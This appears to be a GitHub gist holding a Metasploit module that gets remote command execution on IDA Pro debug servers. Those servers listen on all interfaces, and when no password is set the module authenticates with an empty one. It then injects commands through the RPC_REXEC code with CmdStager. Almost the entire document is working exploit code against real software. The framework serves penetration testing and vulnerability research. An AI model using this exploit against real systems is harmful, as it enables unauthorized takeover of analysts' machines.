Skip to content

Instantly share code, notes, and snippets.

@cbrnrd
Created May 28, 2017 19:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cbrnrd/c16fd8096cb072f80b7d0bb8bcb55edc to your computer and use it in GitHub Desktop.
Save cbrnrd/c16fd8096cb072f80b7d0bb8bcb55edc to your computer and use it in GitHub Desktop.
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
RPC_OK = 0
RPC_OPEN = 3
RPC_INIT = 10
RPC_REXEC = 43
def initialize(info = {})
super(update_info(info,
'Name' => 'IDA PRO Debug Server Remote Command Execution',
'Description' => %q{
By default the server component of IDA PRO debugger binds to all interfaces and has no password set.
This can be abused for arbitrary command execution.
BTW: even people explictily trying to set a password often get it wrong:
server -Ppasswd # password set
server -P passwd # oops, empty password!
},
'Author' => ['Patrick Harsdorf'],
'License' => MSF_LICENSE,
'Targets' =>
[
[ 'Windows',
{
'Arch' => [ ARCH_X86_64, ARCH_X86 ],
'Platform' => 'win'
}
],
[ 'Linux',
{
'Arch' => [ ARCH_X86_64, ARCH_X86 ],
'Platform' => 'linux'
}
]
]))
register_options(
[
Opt::RPORT(23946),
OptString.new('PASSWORD', [false, 'password']),
])
end
def receive_rpc_packet
length = sock.recv(4).unpack('N')[0].to_i
vprint_status("packet length: #{length}")
rpc_code = sock.recv(1).ord
data = sock.recv(length)
vprint_status("Received RPC code: #{rpc_code}, data: #{Rex::Text.hexify(data)}")
return rpc_code, data
end
def send_rpc_packet(rpc_code, data)
vprint_status("Sending RPC code: #{rpc_code}, data: #{Rex::Text.hexify(data)}")
rpc_code_str = [rpc_code].pack('c')
packet = [data.length].pack('N')+rpc_code_str+data
sock.put(packet)
end
def send_and_receive(rpc_code, data)
send_rpc_packet(rpc_code, data)
rpc_code, data = receive_rpc_packet
fail_with(Failure::UnexpectedReply, 'Got response code 0x%X while RPC_OK was expected' % rpc_code) if rpc_code != RPC_OK
return data
end
def run
connect
rpc_code, banner = receive_rpc_packet
fail_with(Failure::UnexpectedReply, 'Got response code 0x%X while RPC_OPEN was expected' % rpc_code) if rpc_code != RPC_OPEN
version = banner[0].ord
arch = case banner[2].ord
when 4
'x86'
when 8
'x64'
else
'unknown'
end
print_status("Server version 1.#{version}, Architecture: #{arch}")
data = send_and_receive(RPC_OK, "\x01#{datastore['PASSWORD']}\x00")
fail_with(Failure::NoAccess, 'Wrong password') if data[0].ord != 1
send_and_receive(RPC_INIT, "\xc0\x0c\x00\x01\x00")
print_status('Injecting CmdStager...')
execute_cmdstager
disconnect
end
def execute_command(cmd, opts = {})
send_and_receive(RPC_REXEC, "#{cmd}\x00")
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment